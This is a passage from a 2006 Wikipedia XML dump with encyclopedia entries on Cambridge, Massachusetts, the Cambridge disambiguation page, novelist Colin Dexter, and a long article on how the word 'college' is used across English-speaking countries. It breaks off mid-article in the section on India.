*[[Massachusetts Institute of Technology]]

=== Schools ===
Cambridge is host to many public and private schools serving the children of Cambridge.

The 12 public elementary schools include:
*'''Amigos School'''
*'''Baldwin School'''
*'''Cambridgeport School'''
*'''Fletcher-Maynard Academy'''
*'''Graham &amp; Parks School'''
*'''Haggerty School'''
*'''Kennedy/Longfellow School'''
*'''King Open School'''
*'''Martin Luther King Jr. School'''
*'''Morse School'''
*'''Peabody School'''
*'''Tobin School'''

There is only one public high school in Cambridge, which is [[Cambridge Rindge and Latin]], a.k.a. '''CRLS'''.

There are many other private schools in the region, serving a variety of needs in both parents and students. Some examples are '''The Shady Hill School''', '''[[Buckingham Browne &amp; Nichols]]''' (a.k.a. BB&amp;N) and '''[[German International School Boston]]''' (a.k.a. GISBOS).

==Transportation==
===Road===
Cambridge has an irregular street network due to the fact that many of the roads date from the colonial era.  Contrary to popular belief, the road system did not evolve from longstanding cow-paths.  Roads connected various village settlements with each other and nearby towns, and were shaped by geographic features, most notably streams, hills, and swampy areas. Several major roads lead to Cambridge, including the [[Massachusetts Turnpike]] (Exit 18), [[Massachusetts State Highway 2|Route 2]], [[Massachusetts State Highway 16|Route 16]] and the [[Massachusetts State Highway 28|McGrath Highway (Route 28)]]. [[Massachusetts Avenue]] runs the length of the city. The Charles River forms the southern border of Cambridge and is crossed by 11 bridges, 8 of which are open to motorized road traffic.  (Part of the new I-93 bridges might also cut across a corner of Cambridge without providing any access.)

It can be hard to find a place to park in Cambridge. Main streets have metered parking. Parking on most other streets is restricted to residents with a sticker, even in areas without a parking shortage. Nonresidents cannot park in these spaces for any length of time, except on Sundays, or with a visitor permit lent by a resident. Streets are cleaned once a month (over two days, one day per side of the street), except January through March. If you park on the wrong side of street on that street's cleaning day your car ''will'' be towed. City policy discourages public off-street parking, in favor of reserved parking for residential and commercial tenants, so paid off-street parking is very expensive, and is nonexistent in many areas.

===Mass Transit===
Cambridge has one stop on the [[Green Line (MBTA)|Green Line]] and five stops on the [[Red Line (MBTA)|Red Line]]. [[Alewife Station (MBTA)|Alewife Station]], with its large parking garage ($5 per day as of November 2005), is an ideal place for visitors coming from the area to the northwest to leave their cars if their destination is near a T station, although like many other Boston-area commuter lots, it tends to fill on workday mornings, and there can be major delays driving out of the garage during the evening rush. There are also several bus routes, with major local bus terminals at Alewife, Harvard Square, Central Square, and Lechmere Square, and four [[trolleybus]] routes that originate at Harvard Square.

===Cycling===
Cambridge has several [[bike path| bike paths]], including one along the Charles River [http://www.mass.gov/dcr/parks/metroboston/maps/bikepaths_dudley.gif], the [[Minuteman Bikeway]] and a linear park connecting Alewife and the [[Somerville Community Path]]. Bike parking is common and there are bike lanes on many streets, although concerns have been expressed regarding the suitability of many of the lanes. From time to time, police target their traffic enforcement efforts towards bicyclists who do not follow the Rules of the Road for vehicles, especially going through red lights, failure to stop for pedestrians at unsignalized crosswalks, riding on the wrong side of the street or the wrong way on a one-way street, and riding without a headlight at night. Cambridge has an active, official bicycle committee.

===Intercity===
Intercity buses and [[Amtrak]] stop at [[South Station]], which is a short ride on the Red Line from Cambridge.  [[Logan International Airport]] is easy to get to by car or taxi. It can also be reached via mass transit by transferring to the [[Silver Line (MBTA)|Silver Line]] SL1 bus at South Station. 

{{seealso|Boston transportation}}

== Points of interest ==
* [[Charles River]]
* [[Cooper-Frost-Austin House]]
* [[Elmwood (house)|Elmwood]]
* [[Asa Gray House]]
* [[Harvard University]]
* [[Hooper-Lee-Nichols House]]
* [[Longfellow National Historic Site]]
* [[Massachusetts Institute of Technology]]
* [[Fresh Pond, Cambridge, Massachusetts|Fresh Pond]]
* [[Mount Auburn Cemetery]]
* [[Cambridge Common]]

== Famous people associated with Cambridge ==
[[Image:Cambridge Public Library, Cambridge, Massachusetts.JPG|thumb|right|300px|Cambridge Public Library, funded by [[Frederick Hastings Rindge]] in 1887.]]
[[Image:Longfellow National Historic Site, Cambridge, Massachusetts.JPG|thumb|right|300px|The Longfellow National Historic Site, also known as the Vassall-Craigie-Longfellow House, in Cambridge, Massachusetts.]]
*[[Bhumibol Adulyadej]], King of Thailand
*[[Ben Affleck]]
*[[Louis Agassiz]]
*[[Julia Child]]
*[[Noam Chomsky]]
*[[Matt Damon]]
*[[Doc Edgerton]]
*[[Charles Eliot]]
*[[Charles William Eliot]]
*[[Patrick Ewing]]
*[[Richard P. Feynman]]
*[[John Kenneth Galbraith]]
*[[Louise Glück]]
*[[Juliana Hatfield]]
*[[Oliver Wendell Holmes, Sr.|Oliver Wendell Holmes]]
*[[Henry James]]
*[[William James]]
*[[Henry Kissinger]]
*[[Henry Wadsworth Longfellow]]
*[[James Russell Lowell]]
*[[Yo-Yo Ma]]
*[[Charles Eliot Norton]]
*[[Tip O'Neill]]
*[[Robert Reich]]
*[[Frederick Hastings Rindge]]
*[[Rumeal Robinson]]
*[[Patrick Stewart]]
*[[Sam Waterston]]
*[[Norbert Wiener]]
*[[Nathaniel Jarvis Wyeth]]
*[[E. E. Cummings]]

:''For more, see [http://www.mass.info/cambridge.ma/famous_people.htm Famous People from Cambridge] on the Mass.info page''

==Sister Cities==
{{SisterCities|Cambridge|eight}}
*{{flagicon|GBR}} [[Cambridge]], [[England]], UK
*{{flagicon|PRT}} [[Coimbra]], Portugal
*{{flagicon|CUB}} [[Cienfuegos]], Cuba
*{{flagicon|ITA}} [[Gaeta]], Italy
*{{flagicon|IRL}} [[Galway]], Ireland
*{{flagicon|SLV}} [[San Jose Las Flores]], El Salvador
*{{flagicon|JPN}} [[Tsukuba, Ibaraki|Tsukuba Science City]], Japan
*{{flagicon|ARM}} [[Yerevan]], Armenia

== Sources == 
Surveys of Architectural History in Cambridge:
*Survey of Architectural History in Cambridge: Mid Cambridge, 1967 
*Survey of Architectural History in Cambridge: Cambridgeport, 1971 ISBN 0262530139 
*Survey of Architectural History in Cambridge: Old Cambridge, 1973
*Survey of Architectural History in Cambridge: Northwest Cambridge, 1977 ISBN 0262530325
*Survey of Architectural History in Cambridge: East Cambridge, 1988 (revised) ISBN 0262530783

== External links ==
{{Commons|Category:Cambridge, Massachusetts|Cambridge}}
*[http://www.ci.cambridge.ma.us/ Official City Page]
*[http://www.cambridgema.gov/Historic/cambridgehistory.html A Brief History of Cambridge]
*[http://www.cambridgechamber.org/ Cambridge Chamber of Commerce]
*[http://www.ci.cambridge.ma.us/~CPL/ Cambridge Public Library]
*[http://www.cpsd.us/ Cambridge Public Schools Homepage]
*[http://www.cpsd.us/CRLS Cambridge Rindge and Latin Homepage]
*[http://rwinters.com/ Cambridge Civic Journal by Robert Winters]
*[http://www2.townonline.com/cambridge/ ''Cambridge Chronicle'' Online]
*[http://harvardfilmarchive.org/ Harvard Film Archive]
*[http://www.brattlefilm.org/ The Brattle Theater]
*[http://www.ccae.org/ Cambridge Center For Adult Education]
*[http://www.cambridgerotary.org  Rotary Club of Cambridge]
*[http://www.cambridgema.gov/GIS/FindMapAtlas.cfm Cambridge Maps]
{{Mapit-US-cityscale|42.373746|-71.110554}}

{{Massachusetts}}

[[Category:Cities in Massachusetts]]
[[Category:Middlesex County, Massachusetts]]
[[Category:Cambridge, Massachusetts]]
[[Category:University towns]]

[[de:Cambridge (Massachusetts)]]
[[es:Cambridge, Massachusetts]]
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[[th:เคมบริดจ์]]</text>
    </revision>
  </page>
  <page>
    <title>Cambridge (disambiguation)</title>
    <id>5686</id>
    <revision>
      <id>40228001</id>
      <timestamp>2006-02-19T02:29:16Z</timestamp>
      <contributor>
        <ip>24.60.70.18</ip>
      </contributor>
      <text xml:space="preserve">There are many places called '''Cambridge''':

Perhaps the most famous 'Cambridge', and historically the first is located in [[Cambridgeshire]], [[United Kingdom]], where the [[University of Cambridge]] is based. The majority of the city lies within the [[Cambridge (UK Parliament constituency)|parliamentary constituency of Cambridge]].

In the general parlance of the [[United States]], 'Cambridge' usually refers to [[Cambridge, Massachusetts]], a renowned intellectual center near [[Boston]], where [[Harvard University]] and the [[Massachusetts Institute of Technology]] are located.

Other places called Cambridge include the following:
* In [[Canada]]
** [[Cambridge, Ontario]]
** [[Cambridge (electoral district)]], a [[List of Canadian federal electoral districts|federal electoral district]]
** [[Cambridge, Hants County, Nova Scotia]]
** [[Cambridge, Kings County, Nova Scotia]]
*In the [[United States|United States of America]]
**[[Cambridge, Idaho]] 
**[[Cambridge, Illinois]] 
**[[Cambridge, Iowa]]
**[[Cambridge, Kansas]]
**[[Cambridge, Kentucky]]
**[[Cambridge, Maine]] 
**[[Cambridge, Maryland]] 
**[[Cambridge, Minnesota]] 
**[[Cambridge, Nebraska]]
**[[Cambridge (village), New York]] 
**[[Cambridge (town), New York]] 
**[[Cambridge, Ohio]] 
**[[Cambridge, Vermont]] 
**[[Cambridge, Wisconsin]]
* Elsewhere
** [[Cambridge, New Zealand|Cambridge]], [[New Zealand]]
** [[Cambridge, Gloucestershire]], [[United Kingdom|UK]]
** [[Cambridge, Tasmania|Cambridge]], [[Tasmania]], [[Australia]]
** [[Cambridge, Western Australia|Cambridge]], [[Western Australia]], [[Australia]]

There are also [[Cambridge City, Indiana]] and [[Cambridge Springs, Pennsylvania]], USA

{{geodis}}

[[bg:Кеймбридж (пояснение)]]
[[da:Cambridge (flertydig)]]
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[[fr:Cambridge (homonymie)]]
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[[la:Camulodunum]]
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[[th:เคมบริดจ์ (แก้ความกำกวม)]]</text>
    </revision>
  </page>
  <page>
    <title>Cambridge University</title>
    <id>5687</id>
    <revision>
      <id>34758629</id>
      <timestamp>2006-01-11T14:51:38Z</timestamp>
      <contributor>
        <username>Wooster</username>
        <id>11896</id>
      </contributor>
      <minor />
      <comment>rm random invisible rubbish</comment>
      <text xml:space="preserve">#REDIRECT [[University of Cambridge]]</text>
    </revision>
  </page>
  <page>
    <title>Colin Dexter</title>
    <id>5688</id>
    <revision>
      <id>41807192</id>
      <timestamp>2006-03-01T21:56:23Z</timestamp>
      <contributor>
        <username>Japanese Searobin</username>
        <id>153340</id>
      </contributor>
      <minor />
      <comment>+ja:</comment>
      <text xml:space="preserve">'''(Norman) Colin Dexter''' is the [[United Kingdom|British]] author of the [[Inspector Morse]] novels. Dexter was born in [[Stamford, England|Stamford]], [[Lincolnshire]], on [[29 September]] [[1930]] and was educated at [[Stamford School]]. After National Service with the [[Royal Corps of Signals]] he read [[Classics]] at [[Christ's College, Cambridge]], graduating in [[1953]]. 

In [[1954]] he started his teaching career in the [[East Midlands]], becoming assistant classics master at [[Wyggeston and Queen Elizabeth I College|Wyggeston School]], [[Leicester]]. A post at [[Loughborough Grammar School]] followed, before he took up the position of senior classics teacher at Corby Grammar School, [[Northamptonshire]], in [[1959]].  

In [[1966]] he was forced by the onset of [[hearing impairment|deafness]] to retire from teaching, and took up the post of Senior Assistant Secretary at the Oxford Delegacy of Local Examinations in [[Oxford]] - a job he held until his retirement in [[1988]].

He started writing mysteries in [[1972]] during a family holiday: &quot;We were in a little guest house halfway between [[Caernarfon]] and [[Pwllheli]]. It was a Saturday and it was raining - it's not unknown for it to rain in
north [[Wales]]. The children were moaning ... I was sitting at the kitchen table with nothing else to do, and I wrote the first few paragraphs of a
potential detective novel.&quot; ''Last Bus to Woodstock'' was published in [[1975]] and introduced the world to the character of Inspector Morse, the irascible detective whose penchants for [[cryptic crossword]]s, [[English literature]], [[cask ale]] and [[Richard Wagner|Wagner]] reflect Dexter's own enthusiasms.

The success of the [[TV series]] based on ''Inspector Morse'' and produced between [[1987]] and [[2001]], brought further acclaim for Colin Dexter. In the manner of [[Alfred Hitchcock]], he also makes a [[cameo appearance]] in each of the episodes.

Colin Dexter has been the recipient of several [[Crime Writers Association]]  &quot;Golden Dagger&quot; awards, and in [[2000]] he was awarded the [[Order of the British Empire|OBE]] for services to literature.

''See also'': [[Diogenes Small]]

==Bibliography==
*''Last Bus to Woodstock'' (1975) #
*''Last Seen Wearing'' (1976) #
*''The Silent World of Nicholas Quinn'' (1977) #
*''Service of All the Dead'' (1979) #
*''The Dead of Jericho'' (1981) #
*''The Riddle of the Third Mile'' (1983) #
*''The Secret of Annexe 3'' (1986) #
*''The Wench is Dead'' (1989) #
*''The Jewel That Was Ours'' (1991) #
*''The Way Through the Woods'' (1992) #
*''The Inside Story'' (1993) #
*''Morse's Greatest Mystery'' [Short stories] (1993)
#&quot;Morse's Greatest Mystery&quot; #
#&quot;Evans Tries an O-level&quot;
#&quot;Dead as a Dodo #
#&quot;At The Lulu-bar Motel&quot;
#&quot;Neighbourhood Watch&quot; #
#&quot;A Case of Mis-identity&quot;
#&quot;The Inside Story&quot; #
#&quot;Monty's Revolver&quot;
#&quot;The Carpet-bagger&quot;
#&quot;Last Call&quot; #
*''Neighbourhood Watch'' (1993) #
*''The Daughters of Cain'' (1994)
*''As Good as Gold'' [Short stories] (1994) #
#&quot;Morse's Greatest Mystery&quot; #
#&quot;Evans Tries an O-level&quot;
#&quot;Dead as a Dodo #
#&quot;At The Lulu-bar Motel&quot;
#&quot;Neighbourhood Watch&quot; #
#&quot;A Case of Mis-identity&quot;
#&quot;The Inside Story&quot; #
#&quot;Monty's Revolver&quot;
#&quot;The Carpet-bagger&quot;
#&quot;Last Call&quot; #
#&quot;As Good as Gold&quot; #
*''Death is Now My Neighbour'' (1996) #
*''The Remorseful Day'' (1999) #

&lt;nowiki&gt;#&lt;/nowiki&gt; Inspector Morse series

Note: &quot;Neighbourhood Watch&quot; and &quot;The Inside Story&quot; were published both as separate books and in ''Morse's Greatest Mystery''. ''As Good as Gold'' includes all the stories in ''Morse's Greatest Mystery'' plus the story &quot;As Good as Gold.&quot;  &quot;Neighbourhood Watch&quot; was published as special, extremely limited edition, ''The Inside Story'' and ''As Good as Gold'' were published as advertisements for [[American Express]] and [[Kodak]], respectively.

==Resource==
*[http://www.classiccrimefiction.com/colindexterbib.htm Illustrated Bibliography of 1st Editions]
[http://www.inspectormorse.co.uk/ The Inspector Morse Page]

[[Category:Alumni of Christ's College, Cambridge|Dexter, Colin]]
[[Category:British crime writers|Dexter, Colin]]
[[Category:English mystery writers|Dexter, Colin]]
[[Category:English novelists|Dexter, Colin]]
[[Category:Officers of the British Empire]]

[[de:Colin Dexter]]
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    </revision>
  </page>
  <page>
    <title>College</title>
    <id>5689</id>
    <revision>
      <id>42047109</id>
      <timestamp>2006-03-03T12:51:05Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
      </contributor>
      <comment>/* The non-English-speaking world */  dab. Catholic</comment>
      <text xml:space="preserve">The term '''college''' ([[Latin]] '''collegium''') is most often used today to denote an [[education]]al [[institution]].  More broadly, it can be the name of any [[group]] of [[colleague]]s (see for example [[electoral college]], [[College of Arms]]). Originally it meant a group of [[person|people]] living together under a common set of [[rule]]s (''con-'', &quot;together&quot; + ''leg-'', &quot;law&quot;); as a consequence members of colleges were originally styled &quot;[[fellow]]s&quot; and still are in some places. The precise usage of the term varies among [[English language|English]]-speaking countries.

== United Kingdom ==
[[United Kingdom|British]] usage of the word &quot;college&quot; remains the loosest, encompassing a range of institutions:
* certain [[independent schools|public schools]] for children such as [[Eton College|Eton]] and [[Winchester College|Winchester]]
* certain [[secondary education| secondary schools]], particularly &quot;[[sixth form college|sixth form colleges]]&quot;, where students (ages 16-18) finish their secondary education, and some [[specialist school|specialist schools]]
* the constituent parts of some [[universities]] (see below)
* [[university college]]s &amp;mdash; independent higher education institutions that have been granted degree-awarding powers but not [[university]] status.
* colleges of [[further education]] and [[adult education]].
* professional associations such as the [[Royal College of Organists]], the [[Royal College of Surgeons]] and other various [[Royal College]]s.
* the [[College of Justice]] or [[Court of Session]] of [[Scotland]]

In general use, a &quot;college&quot; refers to; institutions between secondary school and university, colleges of further education and adult education. Many types of institutions have &quot;college&quot; in its name but are not &quot;colleges&quot; in the general use of the word. For example Eton College would not be refered to as a college, but as a school or by its full name.

===Universities and colleges===
In relation to universities, the term ''college'' normally refers to a part of the university which does not have degree-awarding powers in itself.  Degrees are always awarded by ''universities'', ''colleges'' are institutions or organisations which prepare students for the degree.  In some cases, colleges prepare students for the degree of a university of which the college is a part (eg colleges of the [[University of London]], [[University of Cambridge]], etc) and in some cases colleges are independent institutions which prepare students to sit as external candidates at other universities (eg many higher education colleges prepare students to sit for external examinations of universities). In the past, many of what are now universities with their own degree-awarding powers were colleges which had their degrees awarded by either a federal university (eg [[Cardiff University]]) or another university (eg many of the [[Post-1992 university|post-1992 universities]]).

====Oxford and Cambridge====
The two [[ancient universities]] of [[England]]: [[University of Oxford |Oxford]] and [[University of Cambridge |Cambridge]] (collectively termed [[Oxbridge]]), are [[federation]]s of [[autonomous]] colleges. While many of the [[Student Affairs]] functions are housed in the colleges, each college is more than a [[residence hall]].

In addition to [[dwelling|accommodation]], [[meal]]s, [[Junior Common Room|common room]]s, [[libraries]], [[sport]]ing and social facilities for its students, each college admits students to the University and, through [[tutorial]]s or supervisions, contributes to the work of educating them.

The [[Faculty (university)|faculties]] at each university provide [[lecture]]s, central facilities such as libraries and laboratories, and examines for and awards degrees. Academic staff are commonly employed both by the university (typically as [[lecturer]] or [[professor]]) and by a college (as [[fellow]] or [[tutor]]), though some may have only a college or university post. Nearly all colleges cater to students studying a range of subjects.

Since the colleges are all fully independent legal entities owning their own buildings, employing their own staff, and managing their own endowments, colleges vary widely in wealth. It is entirely possible for some colleges to be in better financial health than the universities of which they are a part.

Typically a student or fellow of an Oxbridge college is said to be &quot;living in college&quot; if their accommodation is inside the college buildings. Most colleges also accommodate students in houses or other buildings away from the college site.

====University of Durham====

The [[University of Durham]] is also collegiate in nature, and its colleges enjoy the same legal status as 'listed bodies' as the colleges of Oxford and Cambridge.  Generally, however, its colleges are not financially independent and do not have any teaching duties as part of the university, though they do provide meals, libraries, computers, and recreational facilities for their members. In many ways, colleges at the [[University of Durham]] have a similar function to what a traditional Hall of Residence has at many other universities.

====University of Edinburgh====

The [[University of Edinburgh]] recently restructured and created colleges along [[academic]] lines merging the old Faculties into larger bodies, and devolving control for most matters to academic schools.

====University of St Andrews====

The [[University of St Andrews]] is legally a collegiate university, having two colleges: the [[United College, St Andrews|United College of St Salvator and St Leonard]] and [[St Mary's College, St Andrews|St Mary's College]]. However, each college exists in name only and the power they once held is now vested in the [[Academic Senate]] and the Faculties of Arts, Divinity, Medicine and Science.

====University of Wales====

In the [[University of Wales]], colleges are the lower tier of institutional membership, below constituent institutions, following the reorganisation of the university in [[1996]].  Prior to this, the member institutions were all called colleges.  There are not currently any colleges in the University of Wales, but this is likely to change in the future.

====New Universities====

Three of the [[New Universities]], [[Lancaster University|Lancaster]], [[University of York|York]] and [[University of Kent|Kent]], have a similar system, although their colleges lack the legal status of those at Durham and Oxbridge. Officially, the [[University of London]] consists of a number of colleges. However, the federation has always been even looser there than at Oxford or Cambridge, to the extent that each of these &quot;colleges&quot; is essentially an independent university-level institution.

== United States of America==
By contrast to British usage, in [[American English]] the term &quot;college&quot; is generally reserved for institutions of higher education, which are often totally independent and fully empowered to grant degrees. The usual practice in America today is to call an institution made up of several faculties and granting a range of higher degrees a &quot;university&quot; while a smaller institution only granting [[Bachelor's degree|bachelor's]] or [[Associate's degree|associate's degrees]] is called a &quot;college&quot;. (See [[liberal arts colleges]], [[community college]]). Nevertheless, a few of America's most prestigious universities, such as [[Boston College]], [[Dartmouth College]] and the [[College of William and Mary]], have retained the term &quot;college&quot; in their names for historical reasons though they offer a wide range of higher degrees.  This problem led, in part, to the threatened lawsuit between [[Yale College Wrexham]] (equivalent to an American &quot;[[high school]]&quot;) and [[Yale University]], the latter claiming copyright infringement. 

[[Image:Belushi in Animal House.jpg|thumb|right|[[John Belushi]] played &quot;Bluto&quot;, a stereotypical American college student in the 1978 film ''[[Animal House]]'']]

Usage of the terms varies among the [[U.S. state|states]], each of which operates its own institutions and licenses private ones. In [[1996]] for example, [[Georgia (U.S. state)|Georgia]] changed all of its four-year colleges to universities, and all of its [[vocational]] [[technology]] [[school]]s to [[technical college]]s. (Previously, only the four [[research]] institutions were called universities.) Other states have changed the [[name]]s of individual colleges, many having started as a [[teacher]]s' college or [[vocational school]] (such as an A&amp;M &amp;mdash; an [[agricultural]] and [[mechanical]] school) that ended up as a full-fledged [[state university]].

It should be noted, too, that &quot;university&quot; and &quot;college&quot; do not exhaust all possible titles for an American institution of higher education. Other options include &quot;institute&quot;, &quot;academy&quot;, &quot;union,&quot; and &quot;school&quot; as in the [[Massachusetts Institute of Technology]], [[United States Military Academy]] at [[West Point, New York]], [[Cooper Union]], or the [[Juilliard School]].

The term ''college'' is also, as in Britain, used for a constituent semi-autonomous part of a larger university but generally organized on academic rather than residential lines. For example, at many institutions,  the undergraduate portion of the university can be briefly referred to as '''the college''' (such as The College at [[Brown University|Brown]] or [[Harvard College]] at [[Harvard University|Harvard]]) while at others each of the faculties may be called a &quot;college&quot; (the &quot;college of engineering&quot;, the &quot;college of nursing&quot;, and so forth). Some American universities, such as [[Rice University|Rice]], [[Princeton University|Princeton]] and [[Yale University|Yale]], do have [[residential college|residential colleges]] along the lines of Oxford or Cambridge, but the name was clearly adopted in homage to the British system. Unlike the Oxbridge colleges, these residential colleges are not autonomous legal entities nor are they typically much involved in education itself, being primarily concerned with room, board, and social life. At the [[University of California, San Diego]], however, each of the six residential colleges does teach its own core writing courses and has its own distinctive set of graduation requirements.

===The origin of America's usage===
The founders of the first institutions of higher education in the United States were graduates of Oxford and Cambridge. The small institutions they founded would not have seemed to them like universities &amp;mdash; they were tiny and did not offer the higher degrees in medicine and theology. Furthermore, they were not composed of several small colleges. Instead, the new institutions felt like the Oxbridge colleges they were used to &amp;mdash; small communities, housing and feeding their students who were instructed by residential tutors (see United Kingdom/Universities and Colleges above). However, when the first students came to be graduated, these &quot;colleges&quot; proceeded to assume (without any recognized authority) the right to confer degrees upon them. In Europe only universities could grant degrees. Presumably the leaders of [[Harvard College]] (which granted America's first degrees in 1642) thought of their college as the first of many residential colleges which would grow up into a New Cambridge university. However, over time, no new colleges were founded; and Harvard grew and added higher faculties. Eventually, it changed its title to university, but the term &quot;college&quot; had stuck and &quot;colleges&quot; had sprung up all over America.

==British and American usage contrasted==
The most confusing aspect of the conflict between the British and American terminology arises from the colloquial use of the word &quot;college&quot; by Americans. Where a British person (or indeed, most people around the world) would say &quot;attend university&quot;, the American instead says, &quot;go to college&quot; &amp;mdash; ''even if he is referring to an institution formally called a university''.  In Britain, aside from usage in reference to [[collegiate universities]] as detailed above, to attend &quot;college&quot; would usually be accepted as meaning one attends a [[technical college]] or a specific [[sixth form]] institution (NB. Most [[state schools]] and [[public schools]] in Britain have sixth forms, but there are a number of sixth form specific institutions). However, in the States, the student at the enormous [[University of Michigan]] still calls it his &quot;college&quot;. Similarly, the institution that administers many standardized admissions tests in the US is known as the [[College Board]]. Thus to the American, the word &quot;college&quot; refers not only to an institution but to a ''phase in one's life''. Anywhere else in the world that phase is called &quot;university&quot;.

However, this phase itself varies somewhat around the world, which can lead to confusion even when the terminology is understood. Two outstanding features of the American version are '''universality''' and '''breadth''': 
#nearly half of all Americans attend at least one year of &quot;college&quot;, so the word is more natural, less remarkable, than &quot;university&quot; might sound abroad. At the less-academic end of the scale, American universities award a great many degrees for professional training which might be accomplished on-the-job elsewhere. 
#at the more-academic end of the scale, on the other hand, many American college students (especially at the most elite institutions) see &quot;college&quot; as a time of intellectual exploration which can be accomplished free from any need to prepare for the future, believing [[graduate school]] to be the time for that. The American system, by permitting students to spend some of their time in classes entirely removed from their [[college major | major]] field of study, forces much less specialization and focus than is common in the rest of the world. Hence &quot;college&quot; is less dryly academic than &quot;university&quot; might sound abroad. Furthermore, a great many students in American universities and colleges live either in institution-run dormitories or in neighborhoods made up largely of student apartments. Hence one's college years involve a quite distinct kind of living arrangement between the family home and the first adult apartment.

For all these reasons, &quot;college&quot; as a phase-in-life between childhood and adulthood has become very important culturally in America, perhaps more so than in the rest of the world.

==The rest of the English-speaking world==
Influenced by their origins in the [[British Empire]], and by modern American [[pop culture]], the rest of the English-speaking world seems to have adopted a mix of their practices.

=== Australia ===
In [[Australia]], the term &quot;college&quot; can refer to an institution of [[tertiary education]] that is smaller than a university, run independently or as part of a university. Following a reform in the [[1980s]] many of the formerly independent colleges now belong to a larger university. Many private [[high school]]s that provide [[secondary education]] are called &quot;colleges&quot; in Australia. The term can also be used to refer to residence halls, as in the United Kingdom, but compared to the UK their tutorial programs are relatively small-scale and they do no actual teaching towards academic degrees (with the exception of one or two that host [[theology|theological]] colleges).

Additionally, in [[Tasmania]] and the [[Australian Capital Territory]], &quot;college&quot; refers to the final two years of high school (years eleven and twelve), and the institutions which provide this.  In this context, &quot;college&quot; is a system independent of the other years of high school. (Here, the expression is a shorter version of ''matriculation'' college.) All college courses in the ACT are sanctioned by the [[Board of Senior Secondary Studies]], or BSSS.

=== Canada ===
In [[Canada]], the term &quot;college&quot; usually refers to a [[community college]] or a technical, applied arts, or applied science school. These are [[post-secondary education|post-secondary]] diploma-granting institutions, but they are not universities, and typically do not grant degrees, except in [[British Columbia]] where some have university status. In [[Quebec]], it can refer in particular to [[CEGEP]] (''Collège d'enseignement général et professionnel'', &quot;college of general and professional education&quot;), a form of post-secondary education specific to the [[Quebec education system]] that is required in order to continue onto university, or to learn a trade.

The [[Royal Military College of Canada]] is a full-fledged degree-granting university, but does not follow the naming convention used by the rest of the country.

The term &quot;college&quot; also applies to separate entities within a university (usually referred to as &quot;[[federated school|federated colleges]]&quot; or &quot;affiliated colleges&quot;), akin to the residential colleges in the United Kingdom. These colleges act independently, but in affiliation or federation with the university that actually grants the degrees. For example, [[University of Trinity College|Trinity College]] was once an independent institution, but later became federated with the [[University of Toronto]], and is now one of its residential colleges.

It should be noted that, unlike in the United States, there is a strong distinction between &quot;college&quot; and &quot;university&quot; in Canada. In conversation one specifically would say either &quot;I'm going to university&quot; (i.e., studying for a three- or four-year degree at a university) or &quot;I'm going to college&quot; (suggesting a technical or career college).  Similarly, the term &quot;college [[professor]]&quot; does not hold nearly the same prestige in Canada as it does in the United States (whereas &quot;university professor&quot; does). Also because of this distinction, the cultural phenomenon known as [[college radio]] in the United States is more properly designated as &quot;campus radio&quot; in Canada. 

In [[Toronto]], [[Ontario]], many government-run secondary schools are called “collegiate institutes” (C.I.), a complicated form of the word “college” which avoids the usual “post-secondary” connotation. Some private secondary schools in Toronto choose to use the word “college” in their names nevertheless. Some high schools elsewhere in the country, particularly ones within the [[separate school]] system, may also use the word &quot;college&quot; or &quot;collegiate&quot; in their names.

===Ireland ===
{{seealso|List of universities in the Republic of Ireland}}

In the [[Republic of Ireland]], the term &quot;college&quot; is usually limited to an institution of [[tertiary education]], but the term is quite [[generic]] within this field. University students often say they attend &quot;college&quot; rather than &quot;university&quot;, with the term college being more popular in wider society. This is possibly due to the fact that, until 1989, no university provided teaching or research directly. Instead, these were offered by an constituent college of the university, in the case of the [[National University of Ireland]] and [[University of Dublin]] &amp;mdash; or at least in strict legal terms. A limited number of [[secondary education]] institutions use the word college to describe or name themselves, but this tends to be the exception.

The state's only [[ancient university]], the [[University of Dublin]], is really English in its origins and, until recently, its outlook. Created during the reign of [[Elizabeth I of England|Elizabeth I]], it is modeled on the universities of [[University of Cambridge|Cambridge]] and [[University of Oxford|Oxford]]. However, only one ''constituent college'' was ever founded, hence the curious position of [[Trinity College, Dublin]] today. For a time, degrees in [[Dublin Institute of Technology]] were also conferred by the university. However, that institution now has its own degree awarding powers and is considering applying for full university status.

Among more modern foundations, the [[National University of Ireland]], founded in 1908, consisted of constituent colleges and recognised colleges until 1997. The former are now referred to as ''constituent universities'' &amp;mdash; institutions that are essentially universities in their own right. The National University can trace its existence back to 1850 and the creation of the ''[[Queen's University of Ireland]]'' and the creation of the ''[[Catholic University of Ireland]]'' in 1854. From 1880, the degree awarding roles of these two universities was taken over by the ''[[Royal University of Ireland]]'', which remained until the creation of the National University in 1908 and the [[Queen's University of Belfast]].

The state's two new universities [[Dublin City University]] and [[University of Limerick]] were initially [[National Institute for Higher Education]] institutions. These institutions offered university level [[academic degree]]s and [[research]] from the start of their existence and were awarded university status in [[1989]] in recognition of this. These two universities now follow the general trend of universities having associated colleges offering their degrees.

Third level technical education in the state has been carried out in the [[Regional Technical College]] network since [[1970]]. These institutions are now referred to as ''Institutes of Technology'', and some have ''delegated authority'' that entitles them to give degrees and diplomas in their own name. Initially these institutions offered only [[National Certificate]] and [[National Diploma]] courses. Now they also offer [[academic degree]]s at [[undergraduate]] and [[postgraduate]] level.

Other types of college include ''Colleges of Education''. These are specialist institutions, often linked to a university, which provide both [[undergraduate]] and [[postgraduate]] [[academic degrees]] for people who want to train as teachers.

=== Hong Kong ===
{{seealso|Education in Hong Kong}}

In [[Hong Kong]], the term &quot;college&quot; mostly refers to [[secondary school]]s. It is also used for some tertiary institutions (e.g., Shue Yan College, or United College of the [[Chinese University of Hong Kong]]), or a residence hall of a university (as in [[United Kingdom|British]] usage, e.g., St. John's College of the [[University of Hong Kong]]).

=== India ===
{{seealso|Universities and colleges in India|Indian Institute of Management|Indian Statistical Institute}}

The term university is more common than college in [[India]]. Generally, colleges are located in different parts of a state and all of them are affiliated to a regional university. The colleges offer programmes under that university. Examinations are conducted by the university at the same time for all colleges under its affiliation. There are several hundred universities and each university has affiliated colleges.

The first liberal arts and sciences college in India was the [[Presidency College, Kolkata]] (estd. [[1817]]) (initially known as Hindu College). The first Missionary institution to impart Western style education in India was the [[Scottish Church College, Calcutta]] (estd. [[1830]]). The first modern university in India was the [[University of Calcutta]] (estd. January [[1857]]). The first research institution for the study of the social sciences and ushering the spirit of [[Oriental]] research was the [[Asiatic Society]], (estd. [[1784]]). The first college for the study of Christian theology and ecumenical enquiry has been the [[Serampore College]] (estd. [[1818]]). 

The [[Indian Institutes of Technology]] (IITs) are specialized institutions that award their own degrees. They are premier institutes in India. There are only seven of them at present.

